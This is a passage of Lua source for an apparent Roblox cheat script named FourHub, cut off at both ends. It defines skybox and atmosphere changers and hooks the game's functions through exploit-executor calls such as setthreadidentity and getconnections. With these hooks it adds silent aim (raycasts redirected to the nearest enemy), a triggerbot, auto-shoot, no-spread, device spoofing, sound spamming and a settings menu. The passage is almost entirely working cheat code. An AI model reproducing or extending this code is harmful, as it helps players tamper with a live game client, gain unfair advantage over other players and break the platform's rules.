["SummerDay"] = { SkyboxBk = "http://www.roblox.com/asset/?version=1&id=135483466", SkyboxDn = "http://www.roblox.com/asset/?version=1&id=135483484", SkyboxFt = "http://www.roblox.com/asset/?version=1&id=135483461", SkyboxLf = "http://www.roblox.com/asset/?version=1&id=135483495", SkyboxRt = "http://www.roblox.com/asset/?version=1&id=135483499", SkyboxUp = "http://www.roblox.com/asset/?version=1&id=135483475" }, ["SnowyPlains"] = { SkyboxBk = "http://www.roblox.com/asset/?id=155657655", SkyboxDn = "http://www.roblox.com/asset/?id=155674246", SkyboxFt = "http://www.roblox.com/asset/?id=155657609", SkyboxLf = "http://www.roblox.com/asset/?id=155657671", SkyboxRt = "http://www.roblox.com/asset/?id=155657619", SkyboxUp = "http://www.roblox.com/asset/?id=155674931" }, ["Underwater"] = { SkyboxBk = "http://www.roblox.com/asset/?id=227635868", SkyboxDn = "http://www.roblox.com/asset/?id=227635921", SkyboxFt = "http://www.roblox.com/asset/?id=227635954", SkyboxLf = "http://www.roblox.com/asset/?id=227635974", SkyboxRt = "http://www.roblox.com/asset/?id=227635990", SkyboxUp = "http://www.roblox.com/asset/?id=227636031" }, ["BlueAbyss"] = { SkyboxBk = "rbxassetid://16269815885", SkyboxDn = "rbxassetid://16269839652", SkyboxFt = "rbxassetid://16269798011", SkyboxLf = "rbxassetid://16269813852", SkyboxRt = "rbxassetid://16269814948", SkyboxUp = "rbxassetid://16269829700" }, ["Poison"] = { SkyboxBk = "rbxassetid://1370716695", SkyboxDn = "rbxassetid://1370716766", SkyboxFt = "rbxassetid://1370716833", SkyboxLf = "rbxassetid://1370716898", SkyboxRt = "rbxassetid://1370716955", SkyboxUp = "rbxassetid://1370717024" }, ["BlueSpace"] = { SkyboxBk = "rbxassetid://1127563035", SkyboxDn = "rbxassetid://1127563006", SkyboxFt = "rbxassetid://1127563026", SkyboxLf = "rbxassetid://1127563216", SkyboxRt = "rbxassetid://1127563115", SkyboxUp = "rbxassetid://1127562999" }, ["AnimeMountains"] = { SkyboxBk = "http://www.roblox.com/asset/?id=12849370744", SkyboxDn = "http://www.roblox.com/asset/?id=12849378890", SkyboxFt = "http://www.roblox.com/asset/?id=12849390276", SkyboxLf = "http://www.roblox.com/asset/?id=12849405549", SkyboxRt = "http://www.roblox.com/asset/?id=12849398428", SkyboxUp = "http://www.roblox.com/asset/?id=12849426002" }, ["PinkGradient"] = { SkyboxBk = "http://www.roblox.com/asset/?id=5371541816", SkyboxDn = "http://www.roblox.com/asset/?id=5371541154", SkyboxFt = "http://www.roblox.com/asset/?id=5371541816", SkyboxLf = "http://www.roblox.com/asset/?id=5371541816", SkyboxRt = "http://www.roblox.com/asset/?id=5371541816", SkyboxUp = "http://www.roblox.com/asset/?id=5371540604" }, ["YellowGradient"] = { SkyboxBk = "http://www.roblox.com/asset/?id=159005370", SkyboxDn = "rbxassetid://858422412", SkyboxFt = "http://www.roblox.com/asset/?id=159005370", SkyboxLf = "http://www.roblox.com/asset/?id=159005370", SkyboxRt = "http://www.roblox.com/asset/?id=159005370", SkyboxUp = "http://www.roblox.com/asset/?id=159006363" }, ["BlueGradient"] = { SkyboxBk = "http://www.roblox.com/asset/?id=4628466090", SkyboxDn = "http://www.roblox.com/asset/?id=4628471901", SkyboxFt = "http://www.roblox.com/asset/?id=4628466090", SkyboxLf = "http://www.roblox.com/asset/?id=4628466090", SkyboxRt = "http://www.roblox.com/asset/?id=4628466090", SkyboxUp = "http://www.roblox.com/asset/?id=4628472152" }, ["GreenNebula"] = { SkyboxBk = "http://www.roblox.com/asset/?id=47974894", SkyboxDn = "http://www.roblox.com/asset/?id=47974690", SkyboxFt = "http://www.roblox.com/asset/?id=47974821", SkyboxLf = "http://www.roblox.com/asset/?id=47974776", SkyboxRt = "http://www.roblox.com/asset/?id=47974859", SkyboxUp = "http://www.roblox.com/asset/?id=47974909" }, ["OrangeGradient"] = { SkyboxBk = "rbxassetid://6902754982", SkyboxDn = "rbxassetid://6902795826", SkyboxFt = "rbxassetid://6902754982", SkyboxLf = "rbxassetid://6902754982", SkyboxRt = "rbxassetid://6902754982", SkyboxUp = "rbxassetid://6902796078" }, ["GreenAurora"] = { SkyboxBk = "http://www.roblox.com/asset/?id=16563478983", SkyboxDn = "http://www.roblox.com/asset/?id=16563481302", SkyboxFt = "http://www.roblox.com/asset/?id=16563484084", SkyboxLf = "http://www.roblox.com/asset/?id=16563485362", SkyboxRt = "http://www.roblox.com/asset/?id=16563487078", SkyboxUp = "http://www.roblox.com/asset/?id=16563489821" }, ["Blank"] = { SkyboxBk = "http://www.roblox.com/asset/?ID=1361097", SkyboxDn = "http://www.roblox.com/asset/?ID=1361097", SkyboxFt = "http://www.roblox.com/asset/?ID=1361097", SkyboxLf = "http://www.roblox.com/asset/?ID=1361097", SkyboxRt = "http://www.roblox.com/asset/?ID=1361097", SkyboxUp = "http://www.roblox.com/asset/?ID=1361097" }, ["Clouds"] = { SkyboxBk = "rbxassetid://570557514", SkyboxDn = "rbxassetid://570557775", SkyboxFt = "rbxassetid://570557559", SkyboxLf = "rbxassetid://570557620", SkyboxRt = "rbxassetid://570557672", SkyboxUp = "rbxassetid://570557727" }, ["Cloudy Skies"] = { SkyboxBk = "rbxassetid://151165214", SkyboxDn = "rbxassetid://151165197", SkyboxFt = "rbxassetid://151165224", SkyboxLf = "rbxassetid://151165191", SkyboxRt = "rbxassetid://151165206", SkyboxUp = "rbxassetid://151165227" }, ["Elegant Morning"] = { SkyboxBk = "rbxassetid://153767241", SkyboxDn = "rbxassetid://153767216", SkyboxFt = "rbxassetid://153767266", SkyboxLf = "rbxassetid://153767200", SkyboxRt = "rbxassetid://153767231", SkyboxUp = "rbxassetid://153767288" }, ["Fade Blue"] = { SkyboxBk = "rbxassetid://153695414", SkyboxDn = "rbxassetid://153695352", SkyboxFt = "rbxassetid://153695452", SkyboxLf = "rbxassetid://153695320", SkyboxRt = "rbxassetid://153695383", SkyboxUp = "rbxassetid://153695471" }, ["Neptune"] = { SkyboxBk = "rbxassetid://218955819", SkyboxDn = "rbxassetid://218953419", SkyboxFt = "rbxassetid://218954524", SkyboxLf = "rbxassetid://218958493", SkyboxRt = "rbxassetid://218957134", SkyboxUp = "rbxassetid://218950090" }, ["Night Sky"] = { SkyboxBk = "rbxassetid://12064107", SkyboxDn = "rbxassetid://12064152", SkyboxFt = "rbxassetid://12064121", SkyboxLf = "rbxassetid://12063984", SkyboxRt = "rbxassetid://12064115", SkyboxUp = "rbxassetid://12064131" }, ["Purple And Blue"] = { SkyboxBk = "rbxassetid://149397692", SkyboxDn = "rbxassetid://149397686", SkyboxFt = "rbxassetid://149397697", SkyboxLf = "rbxassetid://149397684", SkyboxRt = "rbxassetid://149397688", SkyboxUp = "rbxassetid://149397702" }, ["Purple Clouds"] = { SkyboxBk = "rbxassetid://151165214", SkyboxDn = "rbxassetid://151165197", SkyboxFt = "rbxassetid://151165224", SkyboxLf = "rbxassetid://151165191", SkyboxRt = "rbxassetid://151165206", SkyboxUp = "rbxassetid://151165227" }, ["Purple Galaxy"] = { SkyboxBk = "http://www.roblox.com/Asset/?ID=14543264135", SkyboxDn = "http://www.roblox.com/asset/?ID=14543358958", SkyboxFt = "http://www.roblox.com/asset/?ID=14543257810", SkyboxLf = "http://www.roblox.com/asset/?ID=14543275895", SkyboxRt = "http://www.roblox.com/asset/?ID=14543280890", SkyboxUp = "http://www.roblox.com/asset/?ID=14543371676" }, ["Purple Nebula"] = { SkyboxBk = "rbxassetid://159454299", SkyboxDn = "rbxassetid://159454296", SkyboxFt = "rbxassetid://159454293", SkyboxLf = "rbxassetid://159454286", SkyboxRt = "rbxassetid://159454300", SkyboxUp = "rbxassetid://159454288" }, ["Red Night Sky"] = { SkyboxBk = "http://www.roblox.com/Asset/?ID=401664839", SkyboxDn = "http://www.roblox.com/asset/?ID=401664862", SkyboxFt = "http://www.roblox.com/asset/?ID=401664960", SkyboxLf = "http://www.roblox.com/asset/?ID=401664881", SkyboxRt = "http://www.roblox.com/asset/?ID=401664901", SkyboxUp = "http://www.roblox.com/asset/?ID=401664936" }, ["Redshift"] = { SkyboxBk = "rbxassetid://401664839", SkyboxDn = "rbxassetid://401664862", SkyboxFt = "rbxassetid://401664960", SkyboxLf = "rbxassetid://401664881", SkyboxRt = "rbxassetid://401664901", SkyboxUp = "rbxassetid://401664936" }, ["Setting Sun"] = { SkyboxBk = "rbxassetid://626460377", SkyboxDn = "rbxassetid://626460216", SkyboxFt = "rbxassetid://626460513", SkyboxLf = "rbxassetid://626473032", SkyboxRt = "rbxassetid://626458639", SkyboxUp = "rbxassetid://626460625" }, ["Twighlight"] = { SkyboxBk = "rbxassetid://264908339", SkyboxDn = "rbxassetid://264907909", SkyboxFt = "rbxassetid://264909420", SkyboxLf = "rbxassetid://264909758", SkyboxRt = "rbxassetid://264908886", SkyboxUp = "rbxassetid://264907379" }, ["Vaporwave"] = { SkyboxBk = "rbxassetid://1417494030", SkyboxDn = "rbxassetid://1417494146", SkyboxFt = "rbxassetid://1417494253", SkyboxLf = "rbxassetid://1417494402", SkyboxRt = "rbxassetid://1417494499", SkyboxUp = "rbxassetid://1417494643" }, ["Vivid Skies"] = { SkyboxBk = "rbxassetid://271042516", SkyboxDn = "rbxassetid://271077243", SkyboxFt = "rbxassetid://271042556", SkyboxLf = "rbxassetid://271042310", SkyboxRt = "rbxassetid://271042467", SkyboxUp = "rbxassetid://271077958" }, ["FourHub Sky"] = { SkyboxBk = "rbxassetid://1898724755", SkyboxDn = "rbxassetid://1898727189", SkyboxFt = "rbxassetid://1898722814", SkyboxLf = "rbxassetid://1898729298", SkyboxRt = "rbxassetid://1898741025", SkyboxUp = "rbxassetid://1898736761" }, }; self.elements = {}; for skybox_name, _ in next, self.list do table.insert(self.elements, skybox_name); end; self.selected = ELI.world.skybox_selected; end; function skybox_changer:update_skybox() self.last_apply = os.clock(); for _, v in next, lighting:GetChildren() do if v:IsA("Sky") then v:Destroy(); end; end; local world_cfg = ELI.world; local Sky; if not world_cfg.skybox then if self.default_skybox then Sky = self.default_skybox:Clone(); Sky.Parent = lighting; end; else local skybox_data = self.list[world_cfg.skybox_selected or ""]; if not skybox_data then return end; Sky = Instance.new("Sky"); Sky.SkyboxBk = skybox_data.SkyboxBk; Sky.SkyboxDn = skybox_data.SkyboxDn; Sky.SkyboxFt = skybox_data.SkyboxFt; Sky.SkyboxLf = skybox_data.SkyboxLf; Sky.SkyboxRt = skybox_data.SkyboxRt; Sky.SkyboxUp = skybox_data.SkyboxUp; Sky.Parent = lighting; end; if Sky then if world_cfg.skybox_remove_sun then Sky.SunTextureId = "" end; if world_cfg.skybox_remove_moon then Sky.MoonTextureId = "" end; if world_cfg.skybox_remove_stars then Sky.StarCount = 0 end; end; end; skybox_changer:init(); skybox_changer.last_apply = 0; local function skybox_reapply() local world_cfg = ELI.world; if not (world_cfg.skybox or world_cfg.skybox_remove_sun or world_cfg.skybox_remove_moon or world_cfg.skybox_remove_stars) then return; end; if os.clock() - skybox_changer.last_apply < 0.25 then return; end; skybox_changer:update_skybox(); end; trove:Add(lighting.ChildRemoved:Connect(function(child) if child:IsA("Sky") then task.defer(skybox_reapply); end; end)); trove:Add(lighting.ChildAdded:Connect(function(child) if child:IsA("Sky") then task.defer(skybox_reapply); end; end)); trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function(dt) local world_cfg = ELI.world; local sky = lighting:FindFirstChildOfClass("Sky"); if world_cfg.skybox_rotate and sky then if not skybox_changer.original_orientation then skybox_changer.original_orientation = sky.SkyboxOrientation; end; skybox_changer.rotation_tick = (skybox_changer.rotation_tick or 0) + (dt * world_cfg.skybox_rotate_speed * 0.5); local rotation_angle = 0; if world_cfg.skybox_rotate_method == 'Spin' then rotation_angle = (skybox_changer.rotation_tick * 20) % 360; elseif world_cfg.skybox_rotate_method == 'Wave' then rotation_angle = math.sin(skybox_changer.rotation_tick) * 180; elseif world_cfg.skybox_rotate_method == 'Alternate' then rotation_angle = math.abs((skybox_changer.rotation_tick * 40 % 720) - 360) - 180; end; local rot_v3 = Vector3.new(0, 0, 0); if world_cfg.skybox_rotate_direction == 'Horizontal' then rot_v3 = Vector3.new(0, rotation_angle, 0); elseif world_cfg.skybox_rotate_direction == 'Vertical' then rot_v3 = Vector3.new(rotation_angle, 0, 0); elseif world_cfg.skybox_rotate_direction == 'Diagonal' then rot_v3 = Vector3.new(rotation_angle, rotation_angle, rotation_angle); end; local success = pcall(function() sky.SkyboxOrientation = rot_v3; end); if not success and world_cfg.skybox_rotate_direction == 'Horizontal' then lighting.GeographicLatitude = rotation_angle; end; elseif not world_cfg.skybox_rotate and sky and skybox_changer.original_orientation then pcall(function() sky.SkyboxOrientation = skybox_changer.original_orientation; end); skybox_changer.original_orientation = nil; skybox_changer.rotation_tick = 0; end; end))); end; local atmosphere_changer = {}; do function atmosphere_changer:init() self.atmosphere_object = lighting:FindFirstChildOfClass("Atmosphere"); if not self.atmosphere_object then self.atmosphere_object = Instance.new("Atmosphere"); self.atmosphere_object.Parent = lighting; end; self.default_atmosphere = self.atmosphere_object:Clone(); self.default_atmosphere.Parent = nil; self.properties = {}; self.properties_list = {"glare", "haze", "offset", "density"}; for _, property in next, self.properties_list do self.properties[property] = ELI.world["atmosphere_" .. property]; end; if not ELI.world.atmosphere then self.atmosphere_object.Parent = nil; end; end; function atmosphere_changer:update_atmosphere() if not ELI.world.atmosphere then self.atmosphere_object.Parent = nil; if self.default_atmosphere then local Restored = self.default_atmosphere:Clone(); Restored.Parent = lighting; self.atmosphere_object = Restored; end; return; end; if not self.atmosphere_object.Parent then self.atmosphere_object.Parent = lighting; end; for _, property in next, self.properties_list do local value = ELI.world["atmosphere_" .. property]; if value == nil then continue end; self.atmosphere_object[property:sub(1, 1):upper() .. property:sub(2, #property)] = value; end; self.atmosphere_object.Color = ELI.world.atmosphere_color; self.atmosphere_object.Decay = ELI.world.atmosphere_decay; end; atmosphere_changer:init(); end; local hooked = {}; function hookanim(vm) local anim = rawget(vm, "Animator"); if not anim or hooked[anim] then return end; hooked[anim] = true; local mt = getmetatable(anim); local orig = rawget(anim, "PlayAnimation") or (mt and rawget(mt, "PlayAnimation")); if not orig then return end; anim.PlayAnimation = function(self, key, ...) local cfg = ELI.disable_anims; if cfg.enable then local k = tostring(key):lower(); if table.find(cfg.select, "shoot") and k:find("shoot") then return end; if table.find(cfg.select, "attack") and k:find("attack") then return end; if table.find(cfg.select, "charge") and k:find("charge") then return end; if table.find(cfg.select, "equip") and k:find("equip") then return end; if table.find(cfg.select, "reload") and k:find("reload") then return end; if table.find(cfg.select, "throw") and k:find("throw") then return end; end; return orig(self, key, ...); end; end; local old_update = client_viewmodel.Update; client_viewmodel.Update = function(c, dt, movement_state, render_data) if c.ClientItem.ClientFighter.IsLocalPlayer then hookanim(c); local cfg = ELI.disable_anims; if cfg.enable then if table.find(cfg.select, "bobbing") then c._bobbing_value_spring.Value = Vector2.new(0, 0); c._bobbing_value_spring.Target = Vector2.new(0, 0); c._bobbing_speed_spring.Value = 0; c._bobbing_speed_spring.Target = 0; c._bobbing_tick = 0; end; if table.find(cfg.select, "landing") then c._landing_spring.Value = 0; c._landing_spring.Target = 0; c._jump_spring.Value = 0; c._jump_spring.Target = 0; end; if table.find(cfg.select, "sway") then c._sway_spring.Value = Vector2.new(0, 0); c._sway_spring.Target = Vector2.new(0, 0); c._tilt_spring.Value = Vector2.new(0, 0); c._tilt_spring.Target = Vector2.new(0, 0); end; if table.find(cfg.select, "equip") then c._equip_spring.Position = c._equip_spring.Target; c._equip_spring.Velocity = 0; end; if table.find(cfg.select, "inspect") then c._inspect_spring.Position = c._inspect_spring.Target; c._inspect_spring.Velocity = 0; end; if table.find(cfg.select, "sliding") and movement_state then movement_state.IsSliding = false; end; if table.find(cfg.select, "shoot") then c._recoil_spring.Value = Vector3.new(0, 0, 0); c._recoil_spring.Target = Vector3.new(0, 0, 0); c._unrecoil_spring.Value = Vector3.new(0, 0, 0); c._unrecoil_spring.Target = Vector3.new(0, 0, 0); end; if table.find(cfg.select, "impulse") then c._impulse_position_spring.Value = Vector3.new(0, 0, 0); c._impulse_position_spring.Target = Vector3.new(0, 0, 0); end; if table.find(cfg.select, "aim") then c._aim_spring.Position = c._aim_spring.Target; c._aim_spring.Velocity = 0; end; if table.find(cfg.select, "sprint") and movement_state then movement_state.IsActuallySprinting = false; end; end; end; return old_update(c, dt, movement_state, render_data); end; trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() if ELI.auto_vote_map.enable then replicated_storage.Remotes.Duels.Vote:FireServer(ELI.auto_vote_map.map); end; end))); do local function fire_gui_button(btn) local fired = false; if firesignal then for _, sname in eli_ipairs({ "MouseButton1Click", "MouseButton1Down", "Activated" }) do local ok, sig = pcall(function() return btn[sname] end); if ok and sig then if pcall(firesignal, sig) then fired = true end; end; end; end; if not fired and getconnections then for _, sname in eli_ipairs({ "MouseButton1Click", "MouseButton1Down", "Activated" }) do local ok, sig = pcall(function() return btn[sname] end); if ok and sig then local good, cons = pcall(getconnections, sig); if good and cons then for _, con in eli_ipairs(cons) do pcall(function() if con.Fire then con:Fire() elseif con.Function then con.Function() end; end); fired = true; end; end; end; end; end; return fired; end; local function button_is_shown(gui) local cur = gui; while cur do if cur:IsA("ScreenGui") then return cur.Enabled == true end; if cur:IsA("GuiObject") and not cur.Visible then return false end; cur = cur.Parent; end; return false; end; local leave_words = { ["leave"] = true, ["leave match"] = true, ["leave duel"] = true, ["leave game"] = true, ["back to lobby"] = true, ["return to lobby"] = true, ["lobby"] = true }; local function try_auto_leave() local pg = local_player:FindFirstChildOfClass("PlayerGui"); if not pg then return false end; for _, d in eli_ipairs(pg:GetDescendants()) do if d:IsA("TextButton") then local t = string.lower((d.Text or ""):gsub("^%s*(.-)%s*$", "%1")); if leave_words[t] and button_is_shown(d) then if fire_gui_button(d) then return true end; end; end; end; return false; end; trove:Add(task.spawn(function() while wait(1) do if ELI.auto_queue.enable and ELI.auto_queue.queue_mode ~= "" then local fighter = fighter_controller.LocalFighter; local currently_in_match = false; pcall(function() currently_in_match = fighter ~= nil and fighter:Get("IsInDuel") == true; end); if currently_in_match then clickedontheremote = false; else local pressed_leave = false; pcall(function() pressed_leave = try_auto_leave() end); if pressed_leave then clickedontheremote = false; elseif not clickedontheremote then pcall(function() replicated_storage.Remotes.Matchmaking.JoinQueue:InvokeServer(ELI.auto_queue.queue_mode); end); clickedontheremote = true; end; end; was_i_in_a_match = currently_in_match; end; end; end)); end; local sorted_item_list = {}; local class_dir = { ['primary'] = 1, ['secondary'] = 2, ['melee'] = 3, ['utility'] = 4 }; for _, item in next, item_lib.Items do local key = item.Class; if not sorted_item_list[key] then sorted_item_list[key] = {}; end; if item.Name == 'MISSING_WEAPON' then continue end; table.insert(sorted_item_list[key], item.Name); end; local pick_weapons = replicated_storage.Remotes.Replication.Fighter.PickWeapons; trove:Add(task.spawn(LPH_NO_VIRTUALIZE(function() while task.wait() do if not ELI.auto_loadout.enable then continue; end; local loadout = ELI.auto_loadout.loadout; local current_page = pages.PageSystem.CurrentPage; if local_fighter and local_fighter:Get('CanPickWeapons') == true then if not current_page then continue end; if current_page.Name ~= 'PickWeapons' then continue end; local payload = {}; for i = 1, local_fighter:GetMaxEquippableWeapons() do payload[i] = loadout[i]; end; pick_weapons:FireServer(payload); end; end; end))); trove:Add(run_service.RenderStepped:Connect(LPH_NO_VIRTUALIZE(function() if ELI.arcade_server.grab_drops then for _,v in next, workspace:GetChildren() do if v.Name == "_drop" and v:IsA("BasePart") and local_player.Character:FindFirstChildWhichIsA("HumanoidRootPart") then firetouchinterest(local_player.Character.HumanoidRootPart, v, 0); firetouchinterest(local_player.Character.HumanoidRootPart, v, 1); end; end; end; end))); trove:Add(run_service.RenderStepped:Connect(LPH_NO_VIRTUALIZE(function() if ELI.fov_changer.enable then camera.FieldOfView = ELI.fov_changer.fov; end; end))); trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() if ELI.arcade_server.auto_respawn then replicated_storage.Remotes.Duels.RespawnNow:FireServer(); end; end))); local triggerbot_handler = {}; triggerbot_handler.is_shooting = false; trove:Add(task.spawn(function() while task.wait(0.05) do if ELI.triggerbot.enable then local hit = workspace:FindPartOnRayWithIgnoreList(Ray.new(camera.CFrame.Position, camera.CFrame.LookVector * 2500), {local_player.Character}); if hit and hit.Parent:FindFirstChildWhichIsA('Humanoid') and hit.Parent:FindFirstChildWhichIsA('Humanoid').Health > 0 then local target_player = players:GetPlayerFromCharacter(hit.Parent); if ELI.triggerbot.team_check and target_player and target_player:GetAttribute('TeamID') == local_player:GetAttribute('TeamID') then triggerbot_handler.is_shooting = false; else if not triggerbot_handler.is_shooting then task.wait(ELI.triggerbot.reaction_time); triggerbot_handler.is_shooting = true; end; if local_fighter then setthreadidentity(2); local_fighter:Input('StartShooting'); setthreadidentity(7); task.wait(ELI.triggerbot.shoot_delay); end; end; else triggerbot_handler.is_shooting = false; end; end; end; end)); trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() if ELI.guns.force_modifier_enable then for i,v in next, item_lib.Items do v.InputSpammingEnabled.StartShooting = ELI.guns.force_modifier_v; end; end; end))); trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() if ELI.viewmodel_offsets.enable then for i, v in next, item_lib.ViewModels do if oldoffsets[i] then v.RootPartOffset = CFrame.new(oldoffsets[i].X + ELI.viewmodel_offsets.x, oldoffsets[i].Y + ELI.viewmodel_offsets.y, oldoffsets[i].Z + ELI.viewmodel_offsets.z); end; end; end; end))); local replicate_from_server = local_fighter.ReplicateFromServer; local_fighter.ReplicateFromServer = function(controller, _type, ...) if _type == 'DamageNumberEffect' then local hit_root, hit_damage, is_headshot = unpack({...}); if not hit_root or not hit_damage then return replicate_from_server(controller, _type, ...); end; local hit_character = hit_root.Parent; if not hit_character or (hit_character and not hit_character:FindFirstChildOfClass('Humanoid')) then return replicate_from_server(controller, _type, ...); end; if ELI.esp.filled.hit_flash then local hp = players:GetPlayerFromCharacter(hit_character); if hp and cache[hp] then cache[hp].hitFlash = tick() end; end; if ELI.hit_notify.enable then local part = is_headshot and "Head" or "Body"; local raw_message = ELI.hit_notify.msg; raw_message = raw_message:match('{target}') and raw_message:gsub('{target}', hit_character.Name) or raw_message; raw_message = raw_message:match('{damage}') and raw_message:gsub('{damage}', tostring(math.floor(hit_damage or 0))) or raw_message; raw_message = raw_message:match('{hitpart}') and raw_message:gsub('{hitpart}', part) or raw_message; local notify_duration = ELI.hit_notify.duration; task.spawn(function() local original_context = getthreadidentity(); setthreadidentity(7); Library:Notify(raw_message, notify_duration); setthreadidentity(original_context); end); end; if FourHub_state.fireDamage and ELI.damage_numbers.enable then local hp = players:GetPlayerFromCharacter(hit_character); local ok, pos = pcall(function() return hit_root.Position + Vector3.new(0, is_headshot and 2.6 or 2.1, 0); end); FourHub_state.fireDamage(hp, hit_damage, ok and pos or nil); end; if ELI.damage_numbers.enable or ELI.damage_numbers.remove_ingame then return end; end; return replicate_from_server(controller, _type, ...); end; local play_hitmarker_sound = client_viewmodel.PlayHitmarkerSound; client_viewmodel.PlayHitmarkerSound = function(controller, critical, pitch) if ELI.custom_hitsounds.enable then if ELI.custom_hitsounds.selected and hitsound_dir[ELI.custom_hitsounds.selected] then local hitsound = hitsound_dir[ELI.custom_hitsounds.selected]; if hitsound then local volume = ELI.custom_hitsounds.volume; local pitch = ELI.custom_hitsounds.pitch; controller:_CreateHitmarkerSound(hitsound, volume, pitch, local_player.PlayerGui, true, 1); end; if ELI.custom_hitsounds.remove_default_hitsound then return; end; end; end; return play_hitmarker_sound(controller, critical, pitch); end; trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() if ELI.device_spoof.enable then replicated_storage.Remotes.Replication.Fighter.SetControls:FireServer(ELI.device_spoof.type); end; end))); trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() if ELI.sound_spammer.enable then mechanics_controller:PlayMechanicsSound(ELI.sound_spammer.type); end; end))); trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() if ELI.targeting.auto_shoot then local target = getclosest(); if (target and target.Character) then setthreadidentity(2); local_fighter:Input("StartShooting"); setthreadidentity(7); end; end; end))); local old = katana._StartDeflecting; katana._StartDeflecting = function(...) local args = {...}; local fighter = args[1].ClientFighter; local player = fighter and fighter.Player; if (player) then deflecting[player] = true; task.delay(args[1].Info.DeflectDuration or 0.1, function(...) deflecting[player] = false; end); end; return old(table.unpack(args)); end; local items_backup = {}; local old = gun.StartShooting; gun.StartShooting = function(controller, is_empty, debounce) local client_fighter = controller.ClientFighter; if not client_fighter.Islocal_player then return old(controller, is_empty, debounce); end; if not is_empty and controller:Get("Ammo") <= 0 then return false; end; local shoot_result = {old(controller, is_empty, debounce)}; local current_item = client_fighter.EquippedItem; if current_item then if ELI.guns.no_spread then shoot_result[4] = true; end; end; return unpack(shoot_result); end; trove:Add(function() katana._StartDeflecting = old; end); local old_muzzle = utility.PlayParticles; utility.PlayParticles = function(s, p) if ELI.guns.no_muzzle_flash and p.Name == "_muzzle" then return; end; return old_muzzle(s, p); end; trove:Add(function() utility.PlayParticles = old_muzzle; end); local old_raycast = utility.Raycast; utility.Raycast = LPH_NO_VIRTUALIZE(function(...) if ELI.silent_aim.enable and debug.info(3, "n") == "StartShooting" then if math.random(1, 100) <= ELI.silent_aim.hit_chance then local closest = getclosest(); if closest and closest.Character then local target_pos; if ELI.silent_aim.closest_part then local part = closest_part(closest); target_pos = part and part.Position; else local char = closest.Character; local aim_part = char:FindFirstChild(ELI.targeting.part) or char:FindFirstChild("HitboxHead") or char:FindFirstChild("Head") or char:FindFirstChild("HumanoidRootPart"); target_pos = aim_part and aim_part.Position; end; if target_pos then FourHub_state.silentTarget = target_pos; FourHub_state.silentTargetT = tick(); local args = {...}; args[3] = target_pos; return old_raycast(table.unpack(args)); end; end; end; end; return old_raycast(...); end); trove:Add(function() utility.Raycast = old_raycast; end); local legit_tab = Tabs.Main; do local aim_tabs = legit_tab:AddLeftTabbox(); do local silentaim_tab = aim_tabs:AddTab('silent aim'); do local keybind_silent_aim_enable = false; silentaim_tab:AddToggle('silent_aim_enable', { Text = 'enable', Default = false, Callback = function(v) keybind_silent_aim_enable = v; ELI.silent_aim.enable = v; sfov.Visible = v and ELI.silent_aim.show_fov or false; Toggles.show_fov_enable:SetVisible(v); end }):AddKeyPicker('silent_aim_keybind', { Default = '...', Text = 'silent aim', NoUI = false, EnableCheck = function() return ELI.silent_aim.enable; end, Callback = function(v) ELI.silent_aim.enable = keybind_silent_aim_enable and v or false; sfov.Visible = ELI.silent_aim.enable and ELI.silent_aim.show_fov or false; end }); silentaim_tab:AddToggle('closest_part_enable', { Text = 'closest part', Default = false, Callback = function(v) ELI.silent_aim.closest_part = v; end }); silentaim_tab:AddToggle('silent_aim_visualize', { Text = 'visualize', Default = false, Callback = function(v) ELI.silent_aim.visualize = v; end }); silentaim_tab:AddToggle('show_fov_enable', { Text = 'show fov', Default = false, Visible = false, Callback = function(v) ELI.silent_aim.show_fov = v; sfov.Visible = v and ELI.silent_aim.enable or false; Options.silent_aim_fov_radius:SetVisible(v); Options.silent_aim_fov_transparency:SetVisible(v); Options.silent_aim_fov_thickness:SetVisible(v); Options.silent_aim_rotation_speed:SetVisible(v); Toggles.show_fill_enable:SetVisible(v); end }):AddColorPicker('fov_color', { Title = 'fov color', Default = Color3.fromRGB(0, 30, 255), Callback = function(v) ELI.silent_aim.fov_color = v; end }):AddColorPicker('fov_color2', { Title = 'fov color 2', Default = Color3.fromRGB(255, 255, 255), Callback = function(v) ELI.silent_aim.fov_color2 = v; end }); silentaim_tab:AddToggle('silent_aim_follow_gunpoint', { Text = 'follow gunpoint', Default = false, Callback = function(v) ELI.silent_aim.follow_gunpoint = v; end }); silentaim_tab:AddToggle('silent_aim_follow_target', { Text = 'follow target', Default = false, Callback = function(v) ELI.silent_aim.follow_target = v; end }); silentaim_tab:AddToggle('show_fill_enable', { Text = 'show fill', Default = false, Visible = false, Callback = function(v) ELI.silent_aim.show_fill = v; Options.silent_aim_fill_transparency:SetVisible(v); end }):AddColorPicker('fill_color_primary', { Title = 'fill color', Default = Color3.fromRGB(0, 30, 255), Callback = function(v) ELI.silent_aim.fov_fill_color = v; end }):AddColorPicker('fill_color_secondary', { Title = 'fill color 2', Default = Color3.fromRGB(255, 255, 255), Callback = function(v) ELI.silent_aim.fov_fill_color2 = v; end }); silentaim_tab:AddSlider('silent_aim_fov_radius', { Text = 'radius', Default = 180, Suffix = 'px', Min = 1, Max = 600, Rounding = 0, Visible = false, Callback = function(v) ELI.silent_aim.fov_radius = v; end }); silentaim_tab:AddSlider('silent_aim_fill_transparency', { Text = 'fill transparency', Default = 0.6, Min = 0, Max = 1, Rounding = 2, Visible = false, Callback = function(v) ELI.silent_aim.fov_fill_transparency = v; end }); silentaim_tab:AddSlider('silent_aim_fov_transparency', { Text = 'fov transparency', Default = 0.2, Min = 0, Max = 1, Rounding = 2, Visible = false, Callback = function(v) ELI.silent_aim.fov_outline_transparency = v; end }); silentaim_tab:AddSlider('silent_aim_fov_thickness', { Text = 'thickness', Default = 2, Min = 1, Max = 10, Rounding = 0, Visible = false, Callback = function(v) ELI.silent_aim.fov_thickness = v; end }); silentaim_tab:AddSlider('silent_aim_rotation_speed', { Text = 'rotation speed', Default = 90, Min = 0, Max = 360, Rounding = 0, Visible = false, Callback = function(v) ELI.silent_aim.fov_rotation_speed = v; end }); silentaim_tab:AddSlider('silent_aim_hit_chance', { Text = 'hit chance', Default = 100, Min = 